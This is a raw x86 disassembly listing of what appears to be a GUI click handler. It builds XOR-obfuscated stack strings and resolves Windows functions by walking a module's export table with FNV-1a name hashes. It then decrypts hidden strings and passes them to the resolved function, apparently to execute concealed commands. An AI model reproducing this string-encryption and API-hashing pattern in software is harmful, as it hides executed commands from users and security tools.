cmp eax, 4
jne 0x4b509f
lea eax, [ecx - 0x147]
cmp eax, 0x13
ja 0x4b6785
lea eax, [edx - 0x15d]
cmp eax, 0xf
ja 0x4b6785
cmp byte [0x4db7c6], 0
mov al, 8
mov byte [esp + 0x9c], 0x3d
mov cl, 0x7f
sete byte [0x4db7c6]
mov byte [esp + 0x12], 0x4e
xor al, byte [esp + 0x9c]
mov dl, 0x6c
mov byte [esp + 0x9d], al
mov ah, 0x77
mov al, byte [esp + 0x9c]
mov ch, 0x64
xor cl, al
mov byte [esp + 0xa6], 0
xor ch, al
mov byte [esp + 0x9e], cl
mov dh, 0x4d
mov byte [esp + 0xa2], ch
xor dl, al
mov byte [esp + 0xa6], 0
xor ah, al
mov byte [esp + 0x9f], dl
xor dh, al
mov byte [esp + 0xa1], ah
mov bl, 0x55
mov byte [esp + 0xa3], dh
xor bl, al
lea ecx, [esp + 0x66c]
mov bh, 0xa
mov byte [esp + 0xa0], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x9c]
mov byte [esp + 0xa4], bh
mov byte [esp + 0xa5], al
call fcn.004b8a80
lea ecx, [esp + 0x9d]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4ea0
sub ecx, edx
lea eax, [esp + 0x9d]
push ecx
push eax
lea ecx, [esp + 0x674]
call fcn.004b8710
mov bh, 0x1d
mov byte [esp + 0x258], 0
mov cl, 0x57
mov byte [esp + 0x250], bh
mov ch, 0x4c
mov byte [esp + 0x258], 0
mov dl, 0x48
xor cl, bh
xor ch, bh
mov byte [esp + 0x252], cl
mov al, 0x6d
mov byte [esp + 0x256], ch
mov bl, 0x7e
lea ecx, [esp + 0x251]
mov ah, 0x6a
mov dh, 0x6c
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x253], dl
xor ah, bh
mov byte [esp + 0x251], al
xor dh, bh
mov byte [esp + 0x254], bl
mov byte [esp + 0x257], dh
lea edx, [ecx + 1]
mov byte [esp + 0x255], ah
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b4f30
sub ecx, edx
lea eax, [esp + 0x251]
push ecx
push eax
lea ecx, [esp + 0x674]
call fcn.004b7e50
mov byte [esp + 0x19c], 0x4b
mov al, 0x1a
xor al, byte [esp + 0x19c]
mov dl, 0x27
mov dh, dl
mov byte [esp + 0x19d], al
mov al, byte [esp + 0x19c]
mov bh, dh
xor dl, al
mov byte [esp + 0x12], 0x7d
xor dh, al
mov byte [esp + 0x1a6], 0
xor bh, al
mov byte [esp + 0x19f], dl
mov cl, 5
mov byte [esp + 0x1a3], dh
xor cl, al
mov byte [esp + 0x1a4], bh
mov ah, 0x19
mov byte [esp + 0x19e], cl
xor ah, al
mov byte [esp + 0x1a6], 0
mov ch, 3
mov byte [esp + 0x1a1], ah
xor ch, al
mov bl, 0xf
xor bl, al
mov byte [esp + 0x1a2], ch
mov al, byte [esp + 0x12]
lea ecx, [esp + 0x66c]
xor al, byte [esp + 0x19c]
mov byte [esp + 0x1a5], al
lea eax, [esp + 0x19d]
push eax
mov byte [esp + 0x1a4], bl
call fcn.004b8aa0
test al, al
je 0x4b508e
mov bh, 0x71
mov byte [esp + 0x24c], 0
mov al, 9
mov byte [esp + 0x244], bh
mov cl, 0xb
mov byte [esp + 0x24c], 0
mov dl, al
mov ch, 7
xor cl, bh
xor ch, bh
mov bl, 0x16
mov byte [esp + 0x246], cl
mov ah, 0x47
mov byte [esp + 0x24a], ch
mov dh, 0x34
lea ecx, [esp + 0x245]
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x247], dl
xor ah, bh
mov byte [esp + 0x245], al
xor dh, bh
mov byte [esp + 0x248], bl
mov byte [esp + 0x24b], dh
lea edx, [ecx + 1]
mov byte [esp + 0x249], ah
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5070
sub ecx, edx
lea eax, [esp + 0x245]
push ecx
push eax
lea ecx, [esp + 0x674]
call fcn.004b7e50
lea ecx, [esp + 0x66c]
call fcn.004b7630
jmp 0x4b6785
cmp eax, 0x138b
jne 0x4b543c
lea eax, [ecx - 0x145]
cmp eax, 0x13
ja 0x4b6785
lea eax, [edx - 0x11d]
cmp eax, 0xf
ja 0x4b6785
push 0
push 0x4cd469
mov ecx, 0x4db098
call fcn.004b7cc0
mov byte [esp + 0x90], 0x2a
mov al, 0x65
xor al, byte [esp + 0x90]
mov dl, 0x70
mov byte [esp + 0x91], al
mov bh, dl
mov al, byte [esp + 0x90]
mov cl, 0x6e
xor cl, al
mov byte [esp + 0x12], 0x7c
mov ah, 0x7a
mov byte [esp + 0x92], cl
mov ch, 0x6b
mov byte [esp + 0x9a], 0
xor ch, al
mov byte [esp + 0x9a], 0
mov dh, 0x50
mov byte [esp + 0x96], ch
xor dl, al
lea ecx, [esp + 0x7a4]
xor ah, al
mov byte [esp + 0x93], dl
xor dh, al
mov byte [esp + 0x95], ah
xor bh, al
mov byte [esp + 0x97], dh
mov bl, 0x48
mov byte [esp + 0x98], bh
xor bl, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x90]
mov byte [esp + 0x94], bl
mov byte [esp + 0x99], al
call fcn.004b8a80
lea ecx, [esp + 0x91]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5182
sub ecx, edx
lea eax, [esp + 0x91]
push ecx
push eax
lea ecx, [esp + 0x7ac]
call fcn.004b8710
mov bh, 0x3e
mov byte [esp + 0x240], 0
mov cl, 0x6c
mov byte [esp + 0x238], bh
mov ch, 0x69
mov byte [esp + 0x240], 0
xor cl, bh
xor ch, bh
mov al, 0x7d
mov byte [esp + 0x23a], cl
mov dl, 0x4b
mov byte [esp + 0x23e], ch
mov ah, 0x75
lea ecx, [esp + 0x6e4]
mov dh, 0x68
mov bl, 0x51
xor al, bh
xor dl, bh
xor bl, bh
mov byte [esp + 0x239], al
xor ah, bh
mov byte [esp + 0x23b], dl
xor dh, bh
mov byte [esp + 0x23c], bl
mov byte [esp + 0x23d], ah
mov byte [esp + 0x23f], dh
call fcn.004b8a80
lea ecx, [esp + 0x239]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5220
sub ecx, edx
lea eax, [esp + 0x239]
push ecx
push eax
lea ecx, [esp + 0x6ec]
call fcn.004b8710
mov cl, 0x7b
mov dword [esp + 0x18c], 0x1328437b
mov dword [esp + 0x190], 0x2e140110
xor eax, eax
mov dword [esp + 0x194], 0xa283d49
mov byte [esp + 0x198], 0
nop dword [eax + eax]
xor byte [esp + eax + 0x18d], cl
inc eax
cmp eax, 0xb
jae 0x4b5286
mov cl, byte [esp + 0x18c]
jmp 0x4b5270
lea ecx, [esp + 0x18d]
mov byte [esp + 0x198], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5298
sub ecx, edx
lea eax, [esp + 0x18d]
push ecx
push eax
lea ecx, [esp + 0x6ec]
call fcn.004b7e50
mov byte [esp + 0x1b4], 0x71
mov al, 0x18
xor al, byte [esp + 0x1b4]
mov cl, 8
mov byte [esp + 0x1b5], al
mov dl, 0x2b
mov al, byte [esp + 0x1b4]
mov ah, 0x25
xor cl, al
mov byte [esp + 0x12], 0x26
xor dl, al
mov byte [esp + 0x1b6], cl
xor ah, al
mov byte [esp + 0x1be], 0
mov ch, 0x1e
mov byte [esp + 0x1b9], ah
xor ch, al
mov byte [esp + 0x1b7], dl
mov dh, 0x3e
mov byte [esp + 0x1ba], ch
xor dh, al
mov byte [esp + 0x1be], 0
mov bl, 0x17
mov byte [esp + 0x1bb], dh
xor bl, al
lea ecx, [esp + 0x6e4]
mov bh, 0x3d
mov byte [esp + 0x1b8], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x1b4]
mov byte [esp + 0x1bd], al
lea eax, [esp + 0x1b5]
push eax
mov byte [esp + 0x1c0], bh
call fcn.004b8aa0
test al, al
je 0x4b540e
mov byte [esp + 0xf0], 0x15
mov al, 0x67
xor al, byte [esp + 0xf0]
mov cl, 0x41
mov ch, 0x64
mov byte [esp + 0xf1], al
mov al, byte [esp + 0xf0]
mov dl, 0x27
xor cl, al
mov byte [esp + 0xf9], 0
xor ch, al
mov byte [esp + 0xf2], cl
mov dh, 0x7a
mov byte [esp + 0xf6], ch
mov bl, 0x7c
mov byte [esp + 0xf9], 0
mov ah, 0x5d
lea ecx, [esp + 0xf1]
xor dl, al
xor dh, al
mov bh, 0x5f
mov byte [esp + 0xf3], dl
xor bl, al
mov byte [esp + 0xf7], dh
xor ah, al
mov byte [esp + 0xf4], bl
xor bh, al
mov byte [esp + 0xf5], ah
mov byte [esp + 0xf8], bh
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b53f0
sub ecx, edx
lea eax, [esp + 0xf1]
push ecx
push eax
lea ecx, [esp + 0x7ac]
call fcn.004b7e50
lea ecx, [esp + 0x6e4]
call fcn.004b7630
lea ecx, [esp + 0x7a4]
call fcn.004b7630
push 0
push 0x4cd469
mov ecx, 0x4db0c8
call fcn.004b7cc0
jmp 0x4b6785
cmp eax, 5
jne 0x4b5487
lea eax, [ecx - 0x148]
cmp eax, 0x20
ja 0x4b6785
lea eax, [edx - 0xe1]
cmp eax, 0x20
ja 0x4b6785
cmp dword [0x4db7c8], 0
je 0x4b547b
cmp byte [0x4db019], 0
jne 0x4b547b
mov dword [0x4db7c8], 0x12c
mov byte [0x4db019], 1
jmp 0x4b6785
cmp eax, 6
jne 0x4b56b1
lea eax, [ecx - 0x120]
cmp eax, 0x20
ja 0x4b6785
lea eax, [edx - 0xe1]
cmp eax, 0x20
ja 0x4b6785
cmp dword [0x4db7c8], 0
je 0x4b54ca
cmp byte [0x4db019], 1
jne 0x4b54ca
mov dword [0x4db7c8], 0x12c
mov bh, 0x65
mov byte [esp + 0x234], 0
mov dl, 0x30
mov byte [0x4db019], 0
mov ch, dl
mov byte [esp + 0x22c], bh
mov cl, 0x32
mov byte [esp + 0x234], 0
xor cl, bh
xor ch, bh
mov al, 0x1c
mov byte [esp + 0x22e], cl
mov ah, 0x24
mov byte [esp + 0x232], ch
mov dh, 0x53
lea ecx, [esp + 0x6fc]
mov bl, 0xa
xor al, bh
xor dl, bh
mov byte [esp + 0x22d], al
xor bl, bh
mov byte [esp + 0x22f], dl
xor ah, bh
mov byte [esp + 0x230], bl
xor dh, bh
mov byte [esp + 0x231], ah
mov byte [esp + 0x233], dh
call fcn.004b8a80
lea ecx, [esp + 0x22d]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5550
sub ecx, edx
lea eax, [esp + 0x22d]
push ecx
push eax
lea ecx, [esp + 0x704]
call fcn.004b8710
mov byte [esp + 0xfc], 0x5b
mov al, 0x32
xor al, byte [esp + 0xfc]
mov cl, 0x62
mov ch, 0x1f
mov byte [esp + 0xfd], al
mov al, byte [esp + 0xfc]
mov dl, 0x13
xor cl, al
mov byte [esp + 0x105], 0
xor ch, al
mov byte [esp + 0xfe], cl
mov dh, 0x11
mov byte [esp + 0x102], ch
mov bl, 0x16
mov byte [esp + 0x105], 0
mov ah, 1
lea ecx, [esp + 0xfd]
xor dl, al
xor dh, al
mov bh, 0x38
mov byte [esp + 0xff], dl
xor bl, al
mov byte [esp + 0x103], dh
xor ah, al
mov byte [esp + 0x100], bl
xor bh, al
mov byte [esp + 0x101], ah
mov byte [esp + 0x104], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b55f4
sub ecx, edx
lea eax, [esp + 0xfd]
push ecx
push eax
lea ecx, [esp + 0x704]
call fcn.004b7e50
mov bh, 0xd
mov byte [esp + 0x294], 0
mov cl, 0x38
mov byte [esp + 0x28c], bh
mov ch, 0x7d
mov byte [esp + 0x294], 0
mov dl, 0x7f
xor cl, bh
xor ch, bh
mov byte [esp + 0x28e], cl
mov al, 0x40
mov byte [esp + 0x292], ch
mov bl, 0x7a
lea ecx, [esp + 0x28d]
mov ah, 0x77
mov dh, 0x60
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x28f], dl
xor ah, bh
mov byte [esp + 0x28d], al
xor dh, bh
mov byte [esp + 0x290], bl
mov byte [esp + 0x293], dh
lea edx, [ecx + 1]
mov byte [esp + 0x291], ah
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5682
sub ecx, edx
lea eax, [esp + 0x28d]
push ecx
push eax
lea ecx, [esp + 0x704]
call fcn.004b7e50
lea ecx, [esp + 0x6fc]
call fcn.004b7630
jmp 0x4b6785
cmp eax, 0x3e9
jne 0x4b598d
lea eax, [ecx - 0x97]
cmp eax, 0x14
ja 0x4b6785
lea eax, [edx - 0x22b]
cmp eax, 0x14
ja 0x4b6785
mov bh, 0x74
mov byte [esp + 0x288], 0
mov cl, 0x2e
mov byte [esp + 0x280], bh
mov ch, 0xd
mov byte [esp + 0x288], 0
xor cl, bh
xor ch, bh
mov al, 0x1f
mov byte [esp + 0x282], cl
mov dl, 0x19
mov byte [esp + 0x286], ch
mov ah, 4
lea ecx, [esp + 0x714]
mov dh, 0x23
mov bl, 0x21
xor al, bh
xor dl, bh
xor bl, bh
mov byte [esp + 0x281], al
xor ah, bh
mov byte [esp + 0x283], dl
xor dh, bh
mov byte [esp + 0x284], bl
mov byte [esp + 0x285], ah
mov byte [esp + 0x287], dh
call fcn.004b8a80
lea ecx, [esp + 0x281]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5756
sub ecx, edx
lea eax, [esp + 0x281]
push ecx
push eax
lea ecx, [esp + 0x71c]
call fcn.004b8710
mov dh, 0x5e
mov byte [esp + 0x20b], 0
mov dl, 0x28
mov byte [esp + 0x204], dh
mov ch, dl
mov byte [esp + 0x20b], 0
mov cl, 0x66
mov al, 0x1d
xor cl, dh
mov bl, 0x33
mov ah, 0x6b
mov byte [esp + 0x206], cl
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0x207], dl
xor ah, dh
mov byte [esp + 0x205], al
xor ch, dh
mov byte [esp + 0x208], bl
mov byte [esp + 0x20a], ch
lea ecx, [esp + 0x205]
mov byte [esp + 0x209], ah
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b57e0
sub ecx, edx
lea eax, [esp + 0x205]
push ecx
push eax
lea ecx, [esp + 0x71c]
call fcn.004b7e50
mov byte [esp + 0x108], 0x52
mov al, 0x66
xor al, byte [esp + 0x108]
mov cl, 0x3b
mov ch, 0x6b
mov byte [esp + 0x109], al
mov al, byte [esp + 0x108]
mov dl, 0x16
xor cl, al
mov byte [esp + 0x111], 0
xor ch, al
mov byte [esp + 0x10a], cl
mov dh, 5
mov byte [esp + 0x10e], ch
mov bl, 0x62
mov byte [esp + 0x111], 0
mov ah, 0x67
lea ecx, [esp + 0x109]
xor dl, al
xor dh, al
mov bh, 0x10
mov byte [esp + 0x10b], dl
xor bl, al
mov byte [esp + 0x10f], dh
xor ah, al
mov byte [esp + 0x10c], bl
xor bh, al
mov byte [esp + 0x10d], ah
mov byte [esp + 0x110], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5884
sub ecx, edx
lea eax, [esp + 0x109]
push ecx
push eax
lea ecx, [esp + 0x71c]
call fcn.004b7e50
lea ecx, [esp + 0x714]
call fcn.004b7630
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xf2f3fcbd
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b58f0
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b58d3
cmp edx, 0xa1ae3428
je 0x4b58f6
inc ebx
add esi, 4
jmp 0x4b58c3
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d7f00]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x528], xmm0
add edx, edi
mov dword [esp + 0x568], 0x7c6170
movaps xmm0, xmmword [0x4d7400]
xor ecx, ecx
movups xmmword [esp + 0x538], xmm0
movaps xmm0, xmmword [0x4d7790]
movups xmmword [esp + 0x548], xmm0
movaps xmm0, xmmword [0x4d7af0]
movups xmmword [esp + 0x558], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x528]
xor byte [esp + ecx + 0x529], al
inc ecx
cmp ecx, 0x42
jb 0x4b5960
push 5
lea eax, [esp + 0x52d]
mov byte [esp + 0x56f], 0
push eax
call edx
jmp 0x4b6785
cmp eax, 0x3ea
jne 0x4b5d6d
lea eax, [ecx - 0xbf]
cmp eax, 0x14
ja 0x4b6785
lea eax, [edx - 0x22b]
cmp eax, 0x14
ja 0x4b6785
mov byte [esp + 0x114], 0xf
mov al, 0x4d
xor al, byte [esp + 0x114]
mov ch, 0x7f
mov bh, ch
mov byte [esp + 0x115], al
mov al, byte [esp + 0x114]
mov cl, 0x3e
xor cl, al
mov byte [esp + 0x11d], 0
xor ch, al
mov byte [esp + 0x116], cl
mov dl, 0x68
mov byte [esp + 0x11a], ch
mov ah, 0x4b
mov byte [esp + 0x11d], 0
mov dh, 0x6c
lea ecx, [esp + 0x684]
mov bl, 0x64
xor dl, al
xor bl, al
mov byte [esp + 0x117], dl
xor ah, al
mov byte [esp + 0x118], bl
xor dh, al
mov byte [esp + 0x119], ah
xor bh, al
mov byte [esp + 0x11b], dh
mov byte [esp + 0x11c], bh
call fcn.004b8a80
lea ecx, [esp + 0x115]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5a48
sub ecx, edx
lea eax, [esp + 0x115]
push ecx
push eax
lea ecx, [esp + 0x68c]
call fcn.004b8710
mov byte [esp + 0x120], 0x28
mov al, 0x5d
xor al, byte [esp + 0x120]
mov cl, 0x61
mov ch, 0x71
mov byte [esp + 0x121], al
mov al, byte [esp + 0x120]
mov dh, 0x10
xor cl, al
mov byte [esp + 0x129], 0
xor ch, al
mov byte [esp + 0x122], cl
mov dl, 0x6b
mov byte [esp + 0x126], ch
mov bh, dh
mov byte [esp + 0x129], 0
mov bl, 0x5f
lea ecx, [esp + 0x121]
mov ah, 0x6f
xor dl, al
xor dh, al
mov byte [esp + 0x123], dl
xor bl, al
mov byte [esp + 0x127], dh
xor ah, al
mov byte [esp + 0x124], bl
xor bh, al
mov byte [esp + 0x125], ah
mov byte [esp + 0x128], bh
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5af0
sub ecx, edx
lea eax, [esp + 0x121]
push ecx
push eax
lea ecx, [esp + 0x68c]
call fcn.004b7e50
mov byte [esp + 0x1c0], 0x40
mov al, 0x2f
xor al, byte [esp + 0x1c0]
mov cl, 0x2b
xor cl, byte [esp + 0x1c0]
mov ah, 0x2d
mov byte [esp + 0x1c1], al
mov ch, 0x38
mov byte [esp + 0x1c2], cl
mov dl, 0xc
mov cl, byte [esp + 0x1c0]
mov dh, 0x11
mov byte [esp + 0x12], 0x76
xor ah, cl
mov al, byte [esp + 0x12]
xor ch, cl
xor al, cl
mov byte [esp + 0x13], 0x23
mov byte [esp + 0x1c9], al
mov bl, 2
mov al, byte [esp + 0x13]
mov bh, 0x14
xor al, cl
mov byte [esp + 0x1c5], ah
mov byte [esp + 0x1ca], al
xor dl, cl
xor bl, cl
mov byte [esp + 0x1c6], ch
xor dh, cl
mov byte [esp + 0x1cb], 0
xor bh, cl
mov byte [esp + 0x1c3], dl
lea eax, [esp + 0x1c1]
mov byte [esp + 0x1c4], bl
push eax
lea ecx, [esp + 0x688]
mov byte [esp + 0x1cb], dh
mov byte [esp + 0x1cc], bh
mov byte [esp + 0x1cf], 0
call fcn.004b8aa0
test al, al
je 0x4b5c5e
mov bh, 0xf
mov byte [esp + 0x27c], 0
mov cl, 0x3e
mov byte [esp + 0x274], bh
mov ch, 0x49
mov byte [esp + 0x27c], 0
mov dl, 0x67
xor cl, bh
xor ch, bh
mov byte [esp + 0x276], cl
mov al, 0x7e
mov byte [esp + 0x27a], ch
mov bl, 0x3a
lea ecx, [esp + 0x275]
mov ah, 0x5f
mov dh, 0x47
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x277], dl
xor ah, bh
mov byte [esp + 0x275], al
xor dh, bh
mov byte [esp + 0x278], bl
mov byte [esp + 0x27b], dh
lea edx, [ecx + 1]
mov byte [esp + 0x279], ah
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5c40
sub ecx, edx
lea eax, [esp + 0x275]
push ecx
push eax
lea ecx, [esp + 0x68c]
call fcn.004b7cc0
lea ecx, [esp + 0x684]
call fcn.004b7630
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop
mov ecx, dword [esi]
mov edx, 0xdd6d11d9
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b5cad
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b5c90
cmp edx, 0x1884b2ac
je 0x4b5cb3
inc ebx
add esi, 4
jmp 0x4b5c80
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d5d70]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x308], xmm0
add edx, edi
mov dword [esp + 0x348], 0xd1e1e1d
movaps xmm0, xmmword [0x4d6430]
xor ecx, ecx
movups xmmword [esp + 0x318], xmm0
mov dword [esp + 0x34c], 0x1617110b
movaps xmm0, xmmword [0x4d5ce0]
movups xmmword [esp + 0x328], xmm0
mov dword [esp + 0x350], 0xa1b1915
movaps xmm0, xmmword [0x4d6790]
movups xmmword [esp + 0x338], xmm0
mov word [esp + 0x354], 0x17
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x308]
xor byte [esp + ecx + 0x309], al
inc ecx
cmp ecx, 0x4c
jb 0x4b5d40
push 5
lea eax, [esp + 0x30d]
mov byte [esp + 0x359], 0
push eax
call edx
jmp 0x4b6785
cmp eax, 0x3eb
jne 0x4b5e7d
lea eax, [ecx - 0xe7]
cmp eax, 0x14
ja 0x4b6785
lea eax, [edx - 0x22b]
cmp eax, 0x14
ja 0x4b6785
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x10cc6050
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b5ddd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b5dc0
cmp edx, 0xb71e4a1b
je 0x4b5de3
inc ebx
add esi, 4
jmp 0x4b5db0
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d5ec0]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x408], xmm0
add edx, edi
mov dword [esp + 0x448], 0x16272b02
movaps xmm0, xmmword [0x4d67d0]
xor ecx, ecx
movups xmmword [esp + 0x418], xmm0
mov byte [esp + 0x44c], 0
movaps xmm0, xmmword [0x4d5dd0]
movups xmmword [esp + 0x428], xmm0
movaps xmm0, xmmword [0x4d5f00]
movups xmmword [esp + 0x438], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x408]
xor byte [esp + ecx + 0x409], al
inc ecx
cmp ecx, 0x43
jb 0x4b5e50
push 5
lea eax, [esp + 0x40d]
mov byte [esp + 0x450], 0
push eax
call edx
jmp 0x4b6785
cmp eax, 0xfa1
jne 0x4b631d
lea eax, [ecx - 0x46]
cmp eax, 0x104
ja 0x4b6785
lea eax, [edx - 0x1f7]
cmp eax, 0x18
ja 0x4b6785
mov byte [esp + 0x138], 0x6f
mov al, 0x5d
xor al, byte [esp + 0x138]
mov cl, 0x5e
mov byte [esp + 0x139], al
mov ch, 0x2d
mov al, byte [esp + 0x138]
mov dl, 0x5b
xor cl, al
mov byte [esp + 0x141], 0
xor ch, al
mov byte [esp + 0x13a], cl
mov ah, 0x23
mov byte [esp + 0x13e], ch
mov dh, 0x24
lea ecx, [esp + 0x7d4]
xor bh, bh
mov bl, 0x37
xor dl, al
xor bl, al
xor ah, al
mov byte [esp + 0x13b], dl
xor dh, al
mov byte [esp + 0x13c], bl
xor bh, al
mov byte [esp + 0x13d], ah
mov byte [esp + 0x13f], dh
mov byte [esp + 0x140], bh
call fcn.004b8a80
lea ecx, [esp + 0x139]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5f30
sub ecx, edx
lea eax, [esp + 0x139]
push ecx
push eax
lea ecx, [esp + 0x7dc]
call fcn.004b8710
mov byte [esp + 0x84], 0x25
mov al, 0x48
xor al, byte [esp + 0x84]
mov cl, 0x54
mov byte [esp + 0x85], al
mov ah, cl
mov al, byte [esp + 0x84]
mov dl, 0x4e
xor cl, al
mov byte [esp + 0x12], 0x71
mov ch, 0x12
mov byte [esp + 0x86], cl
xor ch, al
mov byte [esp + 0x8e], 0
mov dh, 0x56
mov byte [esp + 0x8a], ch
xor dl, al
mov byte [esp + 0x8e], 0
xor ah, al
mov byte [esp + 0x87], dl
xor dh, al
mov byte [esp + 0x89], ah
mov bl, 0x17
mov byte [esp + 0x8b], dh
xor bl, al
lea ecx, [esp + 0x7bc]
mov bh, 0x68
mov byte [esp + 0x88], bl
xor bh, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x84]
mov byte [esp + 0x8c], bh
mov byte [esp + 0x8d], al
call fcn.004b8a80
lea ecx, [esp + 0x85]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b5ff7
sub ecx, edx
lea eax, [esp + 0x85]
push ecx
push eax
lea ecx, [esp + 0x7c4]
call fcn.004b8710
mov dh, 0x45
mov byte [esp + 0x2a7], 0
mov al, 0x35
mov byte [esp + 0x2a0], dh
mov ah, 0x29
mov byte [esp + 0x2a7], 0
xor al, dh
xor ah, dh
mov cl, 0x1f
mov byte [esp + 0x2a1], al
mov ch, 0x1d
mov byte [esp + 0x2a5], ah
xor cl, dh
lea eax, [esp + 0x2a1]
xor ch, dh
mov byte [esp + 0x2a2], cl
mov dl, 9
mov byte [esp + 0x2a6], ch
mov bl, 0xc
lea ecx, [esp + 0x7bc]
xor dl, dh
xor bl, dh
push eax
mov byte [esp + 0x2a7], dl
mov byte [esp + 0x2a8], bl
call fcn.004b8aa0
test al, al
je 0x4b61e3
push 0x79
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], 0x1d
call fcn.004b6890
push 0x62
lea ecx, [esp + 0x24]
mov byte [esp + 0x25], al
call fcn.004b6890
push 0x72
lea ecx, [esp + 0x24]
mov byte [esp + 0x26], al
call fcn.004b6890
push 0x36
lea ecx, [esp + 0x24]
mov byte [esp + 0x27], al
call fcn.004b6890
push 0x51
lea ecx, [esp + 0x24]
mov byte [esp + 0x28], al
call fcn.004b6890
push 0x47
lea ecx, [esp + 0x24]
mov byte [esp + 0x29], al
call fcn.004b6890
push 0x41
lea ecx, [esp + 0x24]
mov byte [esp + 0x2a], al
call fcn.004b6890
push 0x57
lea ecx, [esp + 0x24]
mov byte [esp + 0x2b], al
call fcn.004b6890
mov byte [esp + 0x28], al
xor esi, esi
mov byte [esp + 0x29], 0
push esi
lea ecx, [esp + 0x25]
call fcn.004b68b0
lea ecx, [esp + 0x20]
movzx eax, byte [eax]
push eax
call fcn.004b6890
push esi
lea ecx, [esp + 0x25]
mov bl, al
call fcn.004b68b0
inc esi
mov byte [eax], bl
cmp esi, 8
jb 0x4b6110
push 8
lea ecx, [esp + 0x25]
call fcn.004b68b0
lea ecx, [esp + 0x21]
mov byte [eax], 0
call fcn.004b68a0
push eax
lea ecx, [esp + 0x7f0]
call fcn.004b76c0
mov dword [esp + 0x48], 0x643f660c
xor esi, esi
mov dword [esp + 0x4c], 0x68486e62
mov byte [esp + 0x50], 0
push esi
lea ecx, [esp + 0x4d]
call fcn.004b68b0
lea ecx, [esp + 0x48]
movzx eax, byte [eax]
push eax
call fcn.004b6890
push esi
lea ecx, [esp + 0x4d]
mov bl, al
call fcn.004b68b0
inc esi
mov byte [eax], bl
cmp esi, 7
jb 0x4b6176
push 7
lea ecx, [esp + 0x4d]
call fcn.004b68b0
lea ecx, [esp + 0x49]
mov byte [eax], 0
call fcn.004b68a0
mov edx, eax
lea esi, [edx + 1]
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4b61c0
sub edx, esi
lea ecx, [esp + 0x7ec]
push edx
push eax
call fcn.004b7cc0
lea ecx, [esp + 0x7ec]
call fcn.004b7630
lea ecx, [esp + 0x7bc]
call fcn.004b7630
lea ecx, [esp + 0x7d4]
call fcn.004b7630
push 0x4cd469
